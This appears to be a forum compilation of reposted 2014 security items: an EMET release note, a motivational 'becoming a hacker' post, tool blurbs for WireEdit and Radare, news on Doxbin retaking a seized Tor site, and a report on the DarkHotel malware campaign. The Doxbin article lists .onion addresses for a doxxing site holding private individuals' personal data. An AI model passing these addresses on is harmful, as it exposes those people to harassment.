enhancements. We want to particularly thank Luca Davi, Daniel Lehmann, and Ahmad-Reza Sadeghi from System Security Lab at Technical University Darmstadt/CASED, and René Freingruber form SEC Consult for partnering with us. Your feedback is always welcome as it helps us improve EMET with each new release, so we encourage you to reach out using the Connect Portal or by sending an email to emet_feedback@microsoft.com. - The EMET Team Sursa: EMET 5.1 is available - Security Research & Defense - Site Home - TechNet Blogs

Becoming a Hacker – Intangible Skills By Ethical Hacking Posted in: EH Tips, Hacking How to become a hacker has created a buzz among IT security students and professionals, people have selected ehacking.net (via email, comment, Tweets etc.) as their mentor and we will surely help you out till time. In the previous episode of this series, we have discussed the objective of this guide, education and skills that required and the method to become the master; and in this episode we will take a look into philosophical & Psychological side of a Penetration tester. You might be thinking that hacking process has nothing to do with philosophy & psychology but believe me it has; apart from the technical skills,the success of any hacking attack is also depends on the psyche of the attacker. Intangible Skills “Focus” is the key to get success in every aspect of life, be focused on what you want to achieve. Let's consider an example, you want to find a vulnerability in Facebook; you tried your level best, you were trying to achieve the objective but you failed. The word failure shows your weakness, so please hide it or destroy it; you can't fail until you keep trying. “You only fail when you accept your defeat” The foremost skill to become a penetration tester is never ever give-up and be focused in achieving your objective. If you will be able to develop this skill then take my word, “nobody can stop you to become a hacker/IT security expert”. Let's get back to the example; finding a vulnerability in Facebook takes time, patience, persistence, attention and believe me it is possible. Keep try until and unless you will get success, the same suggestion for this guide too; don't show impatience, read and implement. Are you developing the skills discussed in the first episode ? Have the mentor been selected yet ? Are you trying to become (focus) a hacker ? We have discussed many important points so far that could lead you to get the success, if you can understand these points. Attitude, Values, Culture Winning, success and achieving the objective are all the attitude of a hacker mindset; the value is to care and learn. Learning is very essential, you need to learn new skills, latest technology and everything, make reading your habit. Limited resources and unlimited wants; in hacking culture you have to believe that everything is possible, you yes you, the master of your own. Increase your capacity of learning, develop problem solving skills; start with basic mathematics, move to algorithm, functions and so on. Remember resources are limited but your wants are unlimited you need to fulfill your wants either by limiting your needs (not recommending) or increasing your capacity (highly recommended). Don't ever indulge yourself in the repetitive tasks which you will soon find boring, your attitude should show that you are creative; because you have the creativity to understand the working and process of everything and yes you can make amendment to enhance or destruct the system (this is your attitude). Freedom & Competency You need freedom, you want freedom and you love freedom; act this and demonstrate this. You are competent and you need to prove it; select your benchmark, work and achieve higher than this, judge and rate yourself. Make yourself prepared for the real competition, you should not afraid of competition; you are creative, you are competent (this is your value, and you have to prove). Develop and sharpen your core competency, your core competency is the one you do best and nobody can beat you. Make this world to believe in you by showing your competency, and you will become the mentor of many. Conclusion Lets close another chapter, I need your feedback; also I need to know how are you performing, are you getting the right direction ? Share your words. Incorporate the aforementioned skills in your daily life, if you just read and forget then you will achieve nothing; as discussed be focused, learn and implement. In the next article we will discuss the technical skills that required to become a hacker/information security professional. Image Credit Related post Hacking Hack an Isolated Computer - No Internet Connection Required Required Technical Skills to be a Hacker White House computer network 'hacked' Russia involved Hacking WPS - SILICA Wireless Assessments EH Tips Required Technical Skills to be a Hacker Bluetooth is Watching: Detect the Surveillance Systems Becoming a Hacker - What, How and Why Sursa: Becoming a Hacker – Intangible Skills | Ethical Hacking-Your Way To The World Of IT Security

[h=1]A Full Stack WYSIWYG Editor[/h] [h=1]for Network Packets[/h] [h=3]Edit L1 - L7 with just a few clicks[/h] [h=2]Features[/h] [h=3]Simple Interface[/h] Edit any packet at any layer from L1 to L7 with just a few mouse clicks. No hacking required. No need to look at Hex dumps. [h=3]Deep Understanding[/h] WireEdit knows all mandatory/optional elements of a packet, their data types, encoding, inter-dependency, position offsets, value constraints, checksums, etc. [h=3]Just works[/h] As you're editing WireEdit takes care of all the behind-the-scene details on the fly. No need to think about any of it. Sursa: https://wireedit.com/

Dark Net hackers steal seized site back from the FBI By Patrick Howell O'Neill Twitter on November 10, 2014 There's a tug of war at play on the Dark Net. Last week, American and European law enforcement triumphantly took control of 27 Dark Net websites last week in the highly publicized Operation Onymous, a campaign against a wide variety of Tor hidden services and their operators, including so-called Silk Road 2.0 and its alleged boss, 26-year-old Blake Benthall. Now, the new owners of one seized hidden website have taken their website back from police. The re-seized hidden service, Doxbin, is fully operational as of 1pm ET. Doxbin is a website dedicated to hosting tens of thousands of records containing sensitive information about private individuals, such as addresses, phone numbers, and Social Security Numbers. It’s made headlines numerous times, most notably recently when the judge in the trial of the original Silk Road, which was shuttered by the FBI last year, was threatened on the site, and her address, phone number, and personal details made public. The loss of Doxbin last week was mourned by the site’s fans. RIP doxbin pic.twitter.com/nFbrHoyVil — Anonymous (@blackplans) November 8, 2014 RIP Silk Road 2.0, doxbin, along with many other sites. Your legacy remains. pic.twitter.com/joT8aYyDad — john (@Anxieties) November 7, 2014 While police took control of the sites, the actual owners remain free and are speaking out in public. Earlier this weekend, they released aggregate log reports to the public in hopes that observers could identify the weakness that police used to seize the hidden service. Now, Doxbin's previous owners have handed off control of their website to an "interested party" who has re-seized the wesbite and at least three .onion addresses that direct to it, according to records at the hidden service search engine ahmia.fi. Moreover, the new owners have created a brand new.onion address in order to prevent police from re-seizing Doxbin. Anyone can currently access Doxbin at http://npieqpvpjhrmdchg.onion/ and http://doxbinumfxfyytnh.onion/, two previously seized addresses. Another .onion has been added at http://doxbinrqbk7lcslw.onion/. While the backbone required to take a website back from the police has been applauded by some observers, re-seizing the website isn’t necessarily challenging from a technical perspective. An .onion address is simply a hash of a private key used to control the domain. The previous owners handed the private key off and so now both police and the new owners of Doxbin possess the private key. That means that each can seize the domain at will, hence the game of tug of war. .@chobopeon The private_keys were handed to an interested party, who is playing tug of war with ICE/Eurolol. We're not involved — nachash (@loldoxbin) November 10, 2014 While the re-seizure is likely temporary, the website is now able to advertise a new and not-yet seized address to its old users. Last week, the website looked like this after police action: RIP DOXBIN pic.twitter.com/DW43ex4CCn — Jeb Boone (@JebBoone) November 7, 2014 Now, a mirror of the site called “THE INDESTRUCTIBLE SKY CASTLE,” revives the old Doxbin: Clarification: This article has been updated with new language to clarify ownership of the new Doxbin sites. Photo by David Goehring (CC BY 2.0) Sursa: Dark Net hackers steal seized site back from the FBI

Radare – The Reverse Engineering Framework Radare started out as a simple command line interface for a hexadecimal editor supporting 64 bit offsets to make searches and recovering data from hard-disks. It has evolved into a project that is composed of a hexadecimal editor as the central point of the project with assembler/disassembler, code analysis, scripting features, analysis and graphs of code and data and easy unix integration. Essentially, it has become a reverse engineering framework, with plugins and much more. radare2 itself is the core of the hexadecimal editor and debugger. Allows to open any kind of file from different IO access like disk, network, kernel plugins, remote devices, debugged processes and handle any of them as if they were a simple plain file. It implements an advanced command line interface for moving around the file, analyzing data, disassembling, binary patching, data comparision, searching, replacing, scripting with Ruby, Python, Lua and Perl. Features CLI and visual modes Yank and paste Perl/Python scripting support Virtual base address for on-disk patching vi-like environment and command repetition (3x) Debugger for x86-linux/bsd and arm-linux Data bookmarking (flags) Scripting (no branches or conditionals yet) Own magic database (rfile) Little/big endian conversions Data search Show xrefs on arm, x86 and ppc binaries Data type views Data block views Visual mode commands You can download radare here: radare2-0.9.7.tar.xz Or read more here – the author can be found on Twitter here @trufae. Sursa: Radare - The Reverse Engineering Framework - Darknet - The Darkside

“DarkHotel” uses bogus crypto certificates to snare Wi-Fi-connected execs Malware operators know in advance when targeted fat cats will check in and out. by Dan Goodin - Nov 10 2014, 11:20pm GTBST DeviantArt user: Tincho555 Researchers have uncovered a seven-year-old malware operation that combines advanced cryptographic attacks, zero-day exploits, and well-developed keyloggers to target elite executives staying in luxury hotels during business trips. The attackers behind "DarkHotel," as the advanced persistent threat has been dubbed, appear to know in advance when a targeted exec will check in and check out of a hotel. Victims are infected through a variety of methods, including bogus software updates for Adobe Flash, Google Toolbar, or other trusted software that are presented when the exec uses the hotel's Wi-Fi or wired Internet access. In many cases, the attack code is signed with a trusted digital certificate that the attackers were able to clone by factoring the underlying 512-bit private key. While factoring weak 512-bit keys has been practical for several years, the crypto attack nonetheless is an "advanced" capability, particularly a few years ago. Taken together, the characteristics are an indication the operators have some sophistication, said researchers from Kaspersky Lab, the Russia-based security firm that disclosed the campaign. "The fact that most of the time the victims are top executives indicates the attackers have knowledge of their victims whereabouts, including name and place of stay," the researchers wrote in a report published Monday. "This paints a dark, dangerous web in which unsuspecting travelers can easily fall. While the exact reason why some hotels function as an attacker vector are unknown, certain suspicions exist, indicating possibly a much larger compromise. We are still investigating this aspect of the operation and will publish more information in the future." Kaspersky researchers observed DarkHotel malware spreading in several undisclosed hotel networks when people connected to Wi-Fi were prompted to install counterfeit software updates. In other cases, targets are infected through spearphishing messages, some of which include attack code exploiting previously unknown vulnerabilities in Flash, Internet Explorer, or other types of software. Once infected by DarkHotel, computers will install various keyloggers or other forms of malware that are tailored to specific victims. The malware monitors passwords, communications, and system information on infected machines and periodically sends the data in encrypted form to servers controlled by the attackers. One of the things that makes the campaign unusual is its use of luxury hotel networks as a watering hole of sorts to target and infect high-value executives. The report stated: In this case, the Darkhotel attackers wait for their victim to connect to the Internet over the hotel Wi-Fi or the cable in their room. There is a very strong likelihood the targets will connect over these resources, and the attackers rely on that likelihood, much like at a watering hole. But the attackers also maintain truly precise targeting information over the victim’s visit, much like they would know a victim’s e-mail address and content interests in a spearphishing attack. While setting up the attack, the Darkhotel attackers knew the target’s expected arrival and departure times, room number, and full name, among other data. This data enables the attackers to present the malicious iframe precisely to that individual target. So, here we have yet another unique characteristic of this attacker—they employ a loosely certain but highly precise offensive approach. DarkHotel malware was also seeded to bittorrent feeds, where it was downloaded more than 30,000 times in less than six months. Kaspersky-owned network sensors have detected "thousands" of DarkHotel infections, mostly from the bittorrent feeds. Japan, Taiwan, China, Russia, and Korea were the five countries most affected by the malware. Enlarge Kaspersky Lab Much of the malware is or was cryptographically signed with digital certificates belonging to a trusted third party. All of the underlying private keys of the cloned certificates were generated using 512-bit md5 keys. The ability of attackers to factor the weak keys for use in such malware attacks has long been known, as advisories issued from Fox-IT, Microsoft, Mozilla, and Entrust warned in 2011. All the cloned keys have expired or been revoked. Signing code with trusted certificates helps eliminate warning messages that may be presented during installation. "All related cases of signed Darkhotel malware share the same Root Certificate Authority and Intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits)," Monday's Kaspersky report stated. "We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware. These keys were not stolen." More recently, DarkHotel operators have stolen third-party certificates to sign their malware. Some of the DarkHotel malware samples date back to 2007. One file includes a keylogger designed to resemble a legitimate low-level Microsoft system device. Other components include a small downloader, an information stealer, a dropper and selfinjector, and a "selective infector" that infects executable files with an old-fashioned virus. Sursa: “DarkHotel” uses bogus crypto certificates to snare Wi-Fi-connected execs | Ars Technica